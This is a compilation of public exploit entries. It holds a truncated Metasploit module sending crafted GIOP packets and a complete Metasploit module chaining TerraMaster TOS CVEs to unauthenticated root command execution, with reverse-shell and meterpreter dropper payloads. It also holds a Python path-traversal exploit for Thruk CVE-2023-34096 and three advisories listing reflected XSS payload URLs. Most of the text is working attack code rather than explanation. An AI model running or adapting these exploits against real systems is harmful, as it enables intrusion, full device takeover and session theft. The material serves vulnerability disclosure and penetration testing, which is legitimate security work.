context_data << @service_context_1 context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) start_service start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i) print_status('7. Sending resolve packet #2 with wls_key_2') socket = connect socket.put(packet) step_7_response = socket.get disconnect print_good('Step 7 complete!') reply_status_code = step_7_response[16..19].unpack('N')&.dig(0) if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end end end </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'digest/md5' require 'time' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.', 'Description' => %q{ Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected. CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint. This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker can self-sign session cookies by knowing the target MAC address and the user password hash. Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker to login as guest. Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted input to vulnerable endpoint `/tos/index.php?app/del`. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor 'n0tme' # Discovery and POC ], 'References' => [ ['CVE', '2021-45837'], ['CVE', '2021-45839'], ['CVE', '2021-45841'], ['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'], ['PACKETSTORM', '165399'], ['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837'] ], 'DisclosureDate' => '2021-12-24', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8181, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']) ]) end def get_data # Initialise instance variable data to store the leaked data @data = {} # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`. # CVE-2021-458439 res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'), 'headers' => { 'User-Agent' => 'TNAS', 'User-Device' => 'TNAS' } }) if res && res.code == 200 && res.body.include?('webNasIPS successful') # Parse the JSON response and get the data such as admin password hash and MAC address res_json = res.get_json_document unless res_json.blank? @data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip @data['key'] = @data['mac'][6..11] # last three MAC address entries @data['timestamp'] = Time.new.to_i.to_s # derive signature @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp']) end end end def tos_encrypt_str(key, str_to_encrypt) id = key + str_to_encrypt return Digest::MD5.hexdigest(id.encode('utf-8')) end def get_headers { 'User-Agent' => 'TNAS', 'User-Device' => 'TNAS', 'Authorization' => @data['password'], 'Signature' => @data['signature'], 'Timestamp' => @data['timestamp'] } end def download_admin_users # Initialise instance variable admin_users to store the admin users from /etc/group @admin_users = [] # Download /etc/group information to find all the admin users belonging to the group admin. # Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication. # CVE-2021-45841 res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}", 'headers' => get_headers, 'vars_post' => { 'path' => '/etc/group' } }) # get the admin users from /etc/group if res && res.code == 200 && res.body.include?('admin') res.body.each_line do |line| next if line.empty? field = line.split(':') next unless field[0] == 'admin' @admin_users = field[3].strip.split(',') break end end end def get_session # Use session crafting to iterate thru the list of admin users to gain a session. # We will send two request per admin user. First request is a dummy request to obtain the session-id. # This session-id will be used to send the second request that will execute the echo command with marker. # if the response contains the marker, then the session has been successfully established. # CVE-2021-45837 session = false marker = Rex::Text.rand_text_alphanumeric(8..16) for admin in @admin_users res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}", 'headers' => get_headers }) if res && res.code == 302 && !res.body.include?(marker.to_s) # Send second request to establish a session and break from the loop if true. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'headers' => get_headers }) end next unless res && res.code == 200 && res.body.include?(marker.to_s) session = true break end session end def get_terramaster_info # get Terramaster CPU architecture (X64 or ARM64) and TOS version @terramaster = {} res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login') }) if res && res.body && res.code == 200 # get the version information from the request response like below: # <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/> return if res.body.match(/ver=.+?"/).nil? version = res.body.match(/ver=.+?"/)[0] # check if architecture is ARM64 or X64 if version.match(/_A/) @terramaster['cpu_arch'] = 'ARM64' elsif version.match(/_S/) || version.match(/_Q/) @terramaster['cpu_arch'] = 'X64' else @terramaster['cpu_arch'] = 'UNKNOWN' end # strip TOS version number and remove trailing double quote. @terramaster['tos_version'] = version.split('.0_')[1].chop end end def execute_command(cmd, _opts = {}) # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;<PAYLOAD>;%23` # CVE-2021-45837 payload = CGI.escape(cmd) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"), 'ctype' => 'application/x-www-form-urlencoded', 'keep_cookies' => true, 'headers' => get_headers }) end def check get_terramaster_info return CheckCode::Safe if @terramaster.empty? if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15') return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") end CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") end def exploit # get the leaked data get_data fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? download_admin_users fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty? fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager(linemax: 65536) end end end </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : https://www.codester.com/items/32650/ │ │ Vendor : Bwiresoft │ │ Software : Movierocket 1.0 │ │ Vuln Type: Reflected XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search_catalog GET parameter 'keywords' is vulnerable to RXSS https://website/search_catalog?keywords=sz83n<script>alert(1)</script>k8jqb Path: /login GET parameter 'red' is vulnerable to RXSS https://website/login?red=bol85"><script>alert(1)</script>fdg21 [-] Done </code></pre>

<pre><code># Exploit Title: Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06 # Date: 08-Jun-2023 # Exploit Author: Galoget Latorre (@galoget) # CVE: CVE-2023-34096 (Galoget Latorre) # Vendor Homepage: https://thruk.org/ # Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip # Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096 # CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html # GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h # Affected Versions: <= 3.06 # Language: Python 3.x # Tested on: # - Ubuntu 22.04.5 LTS 64-bit # - Debian GNU/Linux 10 (buster) 64-bit # - Kali GNU/Linux 2023.1 64-bit # - CentOS GNU/Linux 8.5.2111 64-bit #!/usr/bin/python3 # -*- coding:utf-8 -*- import sys import warnings import requests from bs4 import BeautifulSoup from termcolor import cprint # Usage: python3 exploit.py <target.site> # Example: python3 exploit.py http://127.0.0.1/thruk/ # Disable warnings warnings.filterwarnings('ignore') # Set headers headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" } def banner(): """ Function to print the banner """ banner_text = """ __ __ __ __ __ __ __ __ __ __ / \\ /|_ __ _) / \\ _) _) __ _) |__| / \\ (__\\ /__ \\__ \\/ |__ /__ \\__/ /__ __) __) | \\__/ __/ \\__) Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06 Exploit & CVE Author: Galoget Latorre (@galoget) LinkedIn: https://www.linkedin.com/in/galoget """ print(banner_text) def usage_instructions(): """ Function that validates the number of arguments. The application MUST have 2 arguments: - [0]: Name of the script - [1]: Target URL (Thruk Base URL) """ if len(sys.argv) != 2: print("Usage: python3 exploit.py <target.site>") print("Example: python3 exploit.py http://127.0.0.1/thruk/") sys.exit(0) def check_vulnerability(thruk_version): """ Function to check if the recovered version is vulnerable to CVE-2023-34096. Prints additional information about the vulnerability. """ try: if float(thruk_version[1:5]) <= 3.06: if float(thruk_version[4:].replace("-", ".")) < 6.2: cprint("[+] ", "green", attrs=['bold'], end = "") print("This version of Thruk is ", end = "") cprint("VULNERABLE ", "red", attrs=['bold'], end = "") print("to CVE-2023-34096!") print(" | CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html") print(" | GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h") print(" | CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34096") print(" | CVE NVD NIST: https://nvd.nist.gov/vuln/detail/CVE-2023-34096") print(" | Thruk Changelog: https://www.thruk.org/changelog.html") print(" | Fixed version: 3.06-2+") print("") return True else: cprint("[-] ", "red", attrs=['bold'], end = "") print("It looks like this version of Thruk is NOT VULNERABLE to CVE-2023-34096.") return False except: cprint("[-] ", "red", attrs=['bold'], end = "") print("There was an error parsing Thruk's version.\n") return False def get_thruk_version(): """ Function to get Thruk's version via web scraping. It also verifies the title of the website to check if the target is a Thruk instance. """ response = requests.get(target, headers=headers, allow_redirects=True, verify=False, timeout=10) html_soup = BeautifulSoup(response.text, "html.parser") if "<title>Thruk Monitoring Webinterface</title>" not in response.text: cprint("[-] ", "red", attrs=['bold'], end = "") print("Verify if the URL is correct and points to a Thruk Monitoring Web Interface.") sys.exit(-1) else: # Extract version anchor tag version_link = html_soup.find_all("a", {"class": "link text-sm"}) if len(version_link) == 1 and version_link[0].has_attr('href'): thruk_version = version_link[0].text.strip() cprint("[+] ", "green", attrs=['bold'], end = "") print(f"Detected Thruk Version (Public Banner): {thruk_version}\n") return thruk_version else: cprint("[-] ", "red", attrs=['bold'], end = "") print("There was an error retrieving Thruk's version.") sys.exit(-1) def get_error_info(): """ Function to cause an error in the target Thruk instance and collect additional information via web scraping. """ # URL that will cause an error error_url = target + "//cgi-bin/login.cgi" # Retrieve Any initial Cookies error_response = requests.get(error_url, headers=headers, allow_redirects=False, verify=False, timeout=10) cprint("[*] ", "blue", attrs=['bold'], end = "") print("Trying to retrieve additional information...\n") try: # Search for the error tag html_soup = BeautifulSoup(error_response.text, "html.parser") error_report = html_soup.find_all("pre", {"class": "text-left mt-5"})[0].text if len(error_report) > 0: # Print Error Info error_report = error_report[error_report.find("Version"):error_report.find("\n\nStack")] cprint("[+] ", "green", attrs=['bold'], end = "") print("Recovered Information: \n") parsed_error_report = error_report.split("\n") for error_line in parsed_error_report: print(f" {error_line}") except: cprint("[-] ", "red", attrs=['bold'], end = "") print("No additional information available.\n") def get_thruk_session_auto_login(): """ Function to login into the Thruk instance and retrieve a valid session. It will use default Thruk's credentials available here: - https://www.thruk.org/documentation/install.html Change credentials if required. """ # Default Credentials - Change if required username = "thrukadmin" # CHANGE ME password = "thrukadmin" # CHANGE ME params = {"login": username, "password": password} cprint("[*] ", "blue", attrs=['bold'], end = "") print(f"Trying to autenticate with provided credentials: {username}/{password}\n") # Define Login URL login_url = "cgi-bin/login.cgi" session = requests.Session() # Retrieve Any initial Cookies session.get(target, headers=headers, allow_redirects=True, verify=False) # Login and get thruk_auth Cookie session.post(target + login_url, data=params, headers=headers, allow_redirects=False, verify=False) # Get Cookies as dictionary cookies = session.cookies.get_dict() # Successful Login if cookies.get('thruk_auth') is not None: cprint("[+] ", "green", attrs=['bold'], end = "") print("Successful Authentication!\n") cprint("[+] ", "green", attrs=['bold'], end = "") print(f"Login Cookie: thruk_auth={cookies.get('thruk_auth')}\n") return session # Failed Login else: if cookies.get('thruk_message') == "fail_message~~login%20failed": cprint("[-] ", "red", attrs=['bold'], end = "") print("Login Failed, check your credentials.") sys.exit(401) def cve_2023_34096_exploit_path_traversal(logged_session): """ Function that attempts to exploit the Path Traversal Vulnerability. The exploit will try to upload a PoC file to multiple common folders. This to prevent permissions errors to cause false negatives. """ cprint("[*] ", "blue", attrs=['bold'], end = "") print("Trying to exploit: ", end = "") cprint("CVE-2023-34096 - Path Traversal\n", "yellow", attrs=['bold']) # Define Upload URL upload_url = "cgi-bin/panorama.cgi" # Absolute paths common_folders = ["/tmp/", "/etc/thruk/plugins/plugins-enabled/", "/etc/thruk/panorama/", "/etc/thruk/bp/", "/etc/thruk/thruk_local.d/", "/var/www/", "/var/www/html/", "/etc/", ] # Upload PoC file to each folder for target_folder in common_folders: # PoC file extension is jpg due to regex validations of Thruk. # Nevertheless this issue can still cause damage in different ways to the affected instance. files = {'image': ("exploit.jpg", "CVE-2023-34096-Exploit-PoC-by-galoget")} data = {"task": "upload", "type": "image", "location": f"backgrounds/../../../..{target_folder}" } upload_response = logged_session.post(target + upload_url, data=data, files=files, headers=headers, allow_redirects=False, verify=False) try: upload_response = upload_response.json() if upload_response.get("msg") == "Upload successfull" and upload_response.get("success") is True: cprint("[+] ", "green", attrs=['bold'], end = "") print(f"File successfully uploaded to folder: {target_folder}{files.get('image')[0]}\n") elif upload_response.get("msg") == "Fileupload must use existing and writable folder.": cprint("[-] ", "red", attrs=['bold'], end = "") print(f"File upload to folder \'{target_folder}{files.get('image')[0]}\' failed due to write permissions or non-existent folder!\n") else: cprint("[-] ", "red", attrs=['bold'], end = "") print("File upload failed.\n") except: cprint("[-] ", "red", attrs=['bold'], end = "") print("File upload failed.\n") if __name__ == "__main__": banner() usage_instructions() # Change this with the domain or IP address to attack if sys.argv[1] and sys.argv[1].startswith("http"): target = sys.argv[1] else: target = "http://127.0.0.1/thruk/" # Prepare Base Target URL if not target.endswith('/'): target += "/" cprint("[+] ", "green", attrs=['bold'], end = "") print(f"Target URL: {target}\n") # Get Thruk version via web scraping scraped_thruk_version = get_thruk_version() # Send a request that will generate an error and collect extra info get_error_info() # Check if the instance is vulnerable to CVE-2023-34096 vulnerable_status = check_vulnerability(scraped_thruk_version) if vulnerable_status: cprint("[+] ", "green", attrs=['bold'], end = "") print("The Thruk version found in this host is vulnerable to CVE-2023-34096. Do you want to try to exploit it?") # Confirm exploitation option = input("\nChoice (Y/N): ").lower() print("") if option == "y": cprint("[*] ", "blue", attrs=['bold'], end = "") print("The tool will attempt to exploit the vulnerability by uploading a PoC file to common folders...\n") # Login into Thruk instance valid_session = get_thruk_session_auto_login() # Exploit Path Traversal Vulnerability cve_2023_34096_exploit_path_traversal(valid_session) elif option == "n": cprint("[*] ", "blue", attrs=['bold'], end = "") print("No exploitation attempts were performed, Goodbye!\n") sys.exit(0) else: cprint("[-] ", "red", attrs=['bold'], end = "") print("Unknown option entered.") sys.exit(1) else: cprint("[-] ", "red", attrs=['bold'], end = "") print("The current Thruk's version is NOT VULNERABLE to CVE-2023-34096.") sys.exit(2) </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : https://www.codester.com/items/39478/ │ │ Vendor : Bwiresoft │ │ Software : Codemonkey Multi Vendor Digital Product Mart 1.0 │ │ Vuln Type: Reflected XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search GET parameter 'keyword' is vulnerable to RXSS https://website/search?keyword=ohv4i<script>alert(1)</script>f6pt8&category=all Path: /login GET parameter 'red' is vulnerable to RXSS https://website/login?red=vp6bx"><script>alert(1)</script>ik2tx [-] Done </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : https://www.codester.com/items/39492/ - https://mybizcms.com/ │ │ Vendor : Emporium │ │ Software : Scriptio 1.4 (An online text scripts sharing and selling platform) │ │ Vuln Type: Reflected XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJobd ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search GET parameter 'pg' is vulnerable to RXSS https://website/search?q=&pg=ohv4i<script>alert(1)</script>f6pt8 [-] Done </code></pre>